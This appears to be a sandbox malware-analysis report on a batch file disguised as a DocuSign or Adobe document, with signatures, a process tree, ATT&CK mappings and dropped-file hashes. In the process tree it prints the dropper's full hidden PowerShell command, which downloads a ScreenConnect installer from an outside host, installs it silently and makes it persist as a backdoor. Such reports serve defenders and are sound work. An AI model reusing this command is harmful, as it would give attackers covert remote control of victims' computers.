Overview

overview

10

Static

static

1

Docusign-8...si.bat

windows10-2004-x64

10

Docusign-8...si.bat

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    20/08/2026, 12:17

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Docusign-8901123adobe-reader07zuillnirusi.bat
  • Size 735B
  • Sample260820-pf4teazvbv
  • SHA256 d63a6524fd2805a69f62b34263583994318a4850a38c4aebf4b7ece9168da8b0
  • MD5 SHA1 SHA512 TLSH
Score
10/10
backdoordiscoveryexecutionpersistenceprivilege_escalationrat

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://centrodolce.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 15 IoCs
  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 23 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Docusign-8901123adobe-reader07zuillnirusi.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:836
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process powershell -ArgumentList '-ExecutionPolicy Bypass -WindowStyle Hidden -Command ""[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $msi=''C:\Users\Admin\AppData\Local\Temp\sc.msi''; (New-Object Net.WebClient).DownloadFile(''https://centrodolce.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest'', $msi); Start-Process msiexec -ArgumentList ''/i'', $msi, ''/qn'', ''/norestart'', ''/quiet'', ''ALLUSERS=1'', ''REBOOT=ReallySuppress'' -Wait; Start-Sleep 5; $s=Get-Service ''ScreenConnectService'' -EA 0; if($s){$s.ChangeStartMode(''Automatic''); if($s.Status -ne ''Running''){$s.Start()}}; Remove-Item $msi -Force -EA 0""' -Verb RunAs -WindowStyle Hidden"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3128
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $msi='C:\Users\Admin\AppData\Local\Temp\sc.msi'; (New-Object Net.WebClient).DownloadFile('https://centrodolce.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest', $msi); Start-Process msiexec -ArgumentList '/i', $msi, '/qn', '/norestart', '/quiet', 'ALLUSERS=1', 'REBOOT=ReallySuppress' -Wait; Start-Sleep 5; $s=Get-Service 'ScreenConnectService' -EA 0; if($s){$s.ChangeStartMode('Automatic'); if($s.Status -ne 'Running'){$s.Start()}}; Remove-Item $msi -Force -EA 0
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2940
        • C:\Windows\system32\msiexec.exe
          "C:\Windows\system32\msiexec.exe" /i C:\Users\Admin\AppData\Local\Temp\sc.msi /qn /norestart /quiet ALLUSERS=1 REBOOT=ReallySuppress
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:5708
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Badlisted process makes network request
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2768
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding DFF8FA7816497F5F267283D09F2D384E
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2096
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI585C.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240670984 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:1468
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 7536C08CD07057F9DD1B443D3D861265 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:4092
  • C:\Program Files (x86)\ScreenConnect Client (6222aeb161e53b6f)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (6222aeb161e53b6f)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-kqj3tp-relay.screenconnect.com&p=443&s=e60e0c00-bc2b-4daf-b0da-2bd827409323&k=BgIAAACkAABSU0ExAAgAAAEAAQBhFncu136PyKter%2bksVoTD0MnQSgC%2fkEdH463xnSiG274Gcs8pgHdO6E4zqB8jtBzFCn5besWVrd9FNs8kwpClcZXK7xhawbCNR6rGZABZOIRLTlj%2bn1i6w3g0v42MfTm435gQ3%2f%2bgRKCGiq3Wz%2fvvQw1J8giz0T3oFDwZdxn818%2fSvYIrmQCkVcY4Qn6YYyfwNgOFASKcNnUXmnYNTrgBxp42zabrwN7a%2fXYkE0xB8Hecs9fXDjMrcS8bHJzoxRp8fn9xwjFy7zZgaFfQm%2bmP3P3gViINKbOaMqfVZMdUSNGx3fATrJuS6h0weiiADVPQfarb%2bY0yRIgmGMVF5YKv"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3868
    • C:\Program Files (x86)\ScreenConnect Client (6222aeb161e53b6f)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (6222aeb161e53b6f)\ScreenConnect.WindowsClient.exe" "RunRole" "abd462eb-3460-4f6f-a8a7-2adb627dc402" "User"
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:1028

Network

        MITRE ATT&CK Enterprise v16

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Command and Scripting Interpreter

        2
        T1059

        PowerShell

        1
        T1059.001

        Windows Command Shell

        1
        T1059.003

        Persistence

        Boot or Logon Autostart Execution

        2
        T1547

        Authentication Package

        1
        T1547.002

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        1
        T1543

        Windows Service

        1
        T1543.003

        Event Triggered Execution

        1
        T1546

        Component Object Model Hijacking

        1
        T1546.015

        Privilege Escalation

        Boot or Logon Autostart Execution

        2
        T1547

        Authentication Package

        1
        T1547.002

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        1
        T1543

        Windows Service

        1
        T1543.003

        Event Triggered Execution

        1
        T1546

        Component Object Model Hijacking

        1
        T1546.015

        Defense Evasion

        Modify Registry

        1
        T1112

        Credential Access

        Discovery

        Peripheral Device Discovery

        1
        T1120

        Query Registry

        1
        T1012

        System Information Discovery

        1
        T1082

        System Location Discovery

        1
        T1614

        System Language Discovery

        1
        T1614.001

        Lateral Movement

        Collection

        Command and Control

        Exfiltration

        Impact

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e5852d1.rbs
        • Path C:\Config.Msi\e5852d1.rbs
        • Size 214KB
        • SHA256 785ecfe3bfc4b8ab6583923ddf0e1558b9476f6c6711e24d4f508b89b3f9f8a3
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Client.en-US.resources
        • Path C:\Program Files (x86)\ScreenConnect Client (6222aeb161e53b6f)\Client.en-US.resources
        • Size 64KB
        • SHA256 a90983b3d26f9e6bb472663b84d13254349f62b0ad4c667fd76b3edd270240b2
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Client.resources
        • Path C:\Program Files (x86)\ScreenConnect Client (6222aeb161e53b6f)\Client.resources
        • Size 6KB
        • SHA256 bd34378ad99f7609fa0c7c8edde6337c738a61d288863015629329806a1cc728
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Client.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (6222aeb161e53b6f)\ScreenConnect.Client.dll
        • Size 412KB
        • SHA256 8e5531c2b302f9c95ed32ac7481d3535b6d51147257d317686c07ea1a9cb8362
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.ClientService.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (6222aeb161e53b6f)\ScreenConnect.ClientService.dll
        • Size 92KB
        • SHA256 ed32fe0d924959020cbef0534a7ba612e94263ccc74837475f3b5a6a726acad0
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.ClientService.exe
        • Path C:\Program Files (x86)\ScreenConnect Client (6222aeb161e53b6f)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 16b4c273a25526e7262716ebe9d46480962347191a034595f18be740d9ce1e17
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Core.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (6222aeb161e53b6f)\ScreenConnect.Core.dll
        • Size 579KB
        • SHA256 f64cb7ab5f105c22348a22e02dd506ff45456884639fee0f322862112860af24
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Windows.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (6222aeb161e53b6f)\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 c50d6e8d93ed197dd0cfb647743b42a2a6a9289f6db04092f56cefd6d569663e
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsAuthenticationPackage.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (6222aeb161e53b6f)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsClient.exe
        • Path C:\Program Files (x86)\ScreenConnect Client (6222aeb161e53b6f)\ScreenConnect.WindowsClient.exe
        • Size 678KB
        • SHA256 2ad8f126461607aad3fa31a41f1f39bc74f471fd84191b43e205610db2c4cf09
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsClient.exe.config
        • Path C:\Program Files (x86)\ScreenConnect Client (6222aeb161e53b6f)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        ScreenConnect.WindowsCredentialProvider.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (6222aeb161e53b6f)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 4868b7997b9b4260be2df752a81a750388243cdbea37e4d82a9e0101cd29d0c7
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        system.config
        • Path C:\Program Files (x86)\ScreenConnect Client (6222aeb161e53b6f)\system.config
        • Size 964B
        • SHA256 9adb5e294f287e7093f323411e21126e646b637abad3ad63697a012f122dcf9c
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        powershell.exe.log
        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 64B
        • SHA256 37ba49120bfc0af93b9493213cbc8dab93a74b6819e5b542057dee047f43917a
        • MD5 SHA1 SHA512
        Submit Download

        __PSScriptPolicyTest_tlglcjhz.bje.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tlglcjhz.bje.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        sc.msi
        • Path C:\Users\Admin\AppData\Local\Temp\sc.msi
        • Size 9.8MB
        • SHA256 d0e27e218a2cf14e73cfca9139467af5b6f88ee32d42d73a172c2278189ce65d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        MSI585C.tmp
        • Path C:\Windows\Installer\MSI585C.tmp
        • Size 1.1MB
        • SHA256 de867af8055f81b7691f12175deb4c4e7f3bf97130e51761ed02182b0496e16f
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Microsoft.Deployment.WindowsInstaller.dll
        • Path C:\Windows\Installer\MSI585C.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Core.dll
        • Path C:\Windows\Installer\MSI585C.tmp-\ScreenConnect.Core.dll
        • Size 569KB
        • SHA256 e92d94613443befebb55b08f80d10a2fdbfc58233e8dc95cfb4466fde12964f7
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.InstallerActions.dll
        • Path C:\Windows\Installer\MSI585C.tmp-\ScreenConnect.InstallerActions.dll
        • Size 24KB
        • SHA256 d827d3575ca29f8a40ea5379c7df2b315fc72cbd93451de94e199740594b51bb
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Windows.dll
        • Path C:\Windows\Installer\MSI585C.tmp-\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 320b89343e896a8d2ebf537861d800a9aca88245cc3b5616bb5bea5cc6797fbb
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        MSI61D4.tmp
        • Path C:\Windows\Installer\MSI61D4.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        f35dluo5.newcfg
        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (6222aeb161e53b6f)\f35dluo5.newcfg
        • Size 884B
        • SHA256 7d4bb3b7b0675a91784388ccd5ae3f4a2e0b2447869c08b51e2463c79923069d
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        ot21sljk.newcfg
        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (6222aeb161e53b6f)\ot21sljk.newcfg
        • Size 884B
        • SHA256 a5f9140fa16dce26675064d3e039e19824e43d72d95473d313c5f73de11ec799
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        user.config
        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (6222aeb161e53b6f)\user.config
        • Size 884B
        • SHA256 5f13009b6082a34f924fedf8820bc67f4b324d40e3263c739eda499a873ced17
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        user.config
        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (6222aeb161e53b6f)\user.config
        • Size 520B
        • SHA256 9903d870dc3f38125ee0848ac4552361fea9774500c4b3c21c8d129dbe367cf5
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        user.config
        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (6222aeb161e53b6f)\user.config
        • Size 683B
        • SHA256 163ab306b328882e9b29803fc8aeafc642c6050e697e82bb6ebd759841ee1157
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/1028-177-0x000000001BB30000-0x000000001BCE0000-memory.dmp
        Download

        memory/1028-178-0x0000000002980000-0x000000000299A000-memory.dmp
        Download

        memory/1028-179-0x000000001BE70000-0x000000001BFF6000-memory.dmp
        Download

        memory/1028-180-0x000000001B840000-0x000000001B881000-memory.dmp
        Download

        memory/1028-175-0x000000001B3B0000-0x000000001B41C000-memory.dmp
        Download

        memory/1028-176-0x000000001B8E0000-0x000000001B974000-memory.dmp
        Download

        memory/1028-173-0x0000000000930000-0x00000000009DE000-memory.dmp
        Download

        memory/1468-60-0x0000000002F80000-0x0000000002F8C000-memory.dmp
        Download

        memory/1468-64-0x0000000005410000-0x00000000054A4000-memory.dmp
        Download

        memory/1468-68-0x00000000056D0000-0x0000000005880000-memory.dmp
        Download

        memory/1468-69-0x0000000005E30000-0x00000000063D4000-memory.dmp
        Download

        memory/1468-56-0x0000000002F40000-0x0000000002F6E000-memory.dmp
        Download

        memory/2940-117-0x000001554AFE0000-0x000001554AFF0000-memory.dmp
        Download

        memory/2940-13-0x000001554AFE0000-0x000001554AFF0000-memory.dmp
        Download

        memory/2940-182-0x000001554D160000-0x000001554D37C000-memory.dmp
        Download

        memory/2940-118-0x000001554AFE0000-0x000001554AFF0000-memory.dmp
        Download

        memory/2940-14-0x000001554AFE0000-0x000001554AFF0000-memory.dmp
        Download

        memory/2940-132-0x000001554D160000-0x000001554D37C000-memory.dmp
        Download

        memory/3128-9-0x000001E9E4520000-0x000001E9E4542000-memory.dmp
        Download

        memory/3128-0-0x000001E9E2330000-0x000001E9E2340000-memory.dmp
        Download

        memory/3128-1-0x000001E9E2330000-0x000001E9E2340000-memory.dmp
        Download

        memory/3868-131-0x00000000042F0000-0x0000000004340000-memory.dmp
        Download

        memory/3868-106-0x0000000003F80000-0x0000000003F9A000-memory.dmp
        Download

        memory/3868-116-0x0000000004450000-0x0000000004600000-memory.dmp
        Download

        memory/3868-112-0x0000000004200000-0x0000000004294000-memory.dmp
        Download

        memory/3868-149-0x00000000043B0000-0x000000000441C000-memory.dmp
        Download

        memory/3868-150-0x00000000046A0000-0x0000000004732000-memory.dmp
        Download

        memory/3868-152-0x00000000042B0000-0x00000000042F1000-memory.dmp
        Download

        memory/3868-154-0x0000000004880000-0x0000000004956000-memory.dmp
        Download